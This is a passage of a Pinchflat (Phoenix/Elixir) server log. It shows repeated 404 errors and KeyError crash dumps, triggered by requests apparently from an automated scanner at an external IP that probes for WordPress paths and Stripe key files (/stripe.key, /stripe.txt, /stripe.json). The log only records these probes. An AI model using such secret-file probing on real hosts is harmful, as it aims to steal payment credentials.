{Plug.Cowboy.Conn, %{ pid: #PID<0.3353.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-admin/admin-ajax.php", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49932}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3354.0>, params: %{}, path_info: ["wp-admin", "admin-ajax"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) (truncated) 21:08:43.212 [info] GET /wp-content/uploads/wc-logs/ 21:08:43.212 [debug] QUERY OK source="settings" db=0.1ms idle=238.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.213 [debug] QUERY OK source="settings" db=0.0ms idle=198.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.213 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.214 [info] GET /stripe.key 21:08:43.215 [debug] QUERY OK source="settings" db=0.1ms idle=199.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.213 [error] #PID<0.3356.0> running PinchflatWeb.Endpoint (connection #PID<0.3355.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-content/uploads/wc-logs/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-content/uploads/wc-logs (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3355.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/uploads/wc-logs/", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49940}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3356.0>, params: %{}, path_info: ["wp-content", "uploads", "wc-logs"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-content/uploads/wc-logs/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-sEiF0PngYEAAQGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3355.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/uploads/wc-logs/", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49940}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-content/uploads/wc-logs (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3355.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/uploads/wc-logs/", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49940}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3356.0>, params: %{}, path_info: ["wp-content", "uploads", "wc-logs"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Ma (truncated) 21:08:43.215 [debug] QUERY OK source="settings" db=0.1ms idle=191.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.215 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.215 [error] #PID<0.3358.0> running PinchflatWeb.Endpoint (connection #PID<0.3357.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe.key ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3357.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.key", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49942}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3358.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe.key", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-sFG7N-VTIUAAQIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3357.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.key", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49942}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3357.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.key", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49942}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3358.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "htt (truncated) 21:08:43.255 [info] GET /stripe.txt 21:08:43.256 [debug] QUERY OK source="settings" db=0.1ms idle=43.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.256 [debug] QUERY OK source="settings" db=0.1ms idle=43.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.256 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.256 [error] #PID<0.3360.0> running PinchflatWeb.Endpoint (connection #PID<0.3359.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3359.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49948}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3360.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-sO2uqTdKHkAAQKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3359.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49948}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3359.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49948}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3360.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "htt (truncated) 21:08:43.274 [info] GET /stripe.json 21:08:43.274 [debug] QUERY OK source="settings" db=0.1ms idle=59.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.274 [debug] QUERY OK source="settings" db=0.1ms idle=59.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.274 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.275 [error] #PID<0.3362.0> running PinchflatWeb.Endpoint (connection #PID<0.3361.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3361.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49954}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3362.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-sTPSaoNlXcAAQMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: 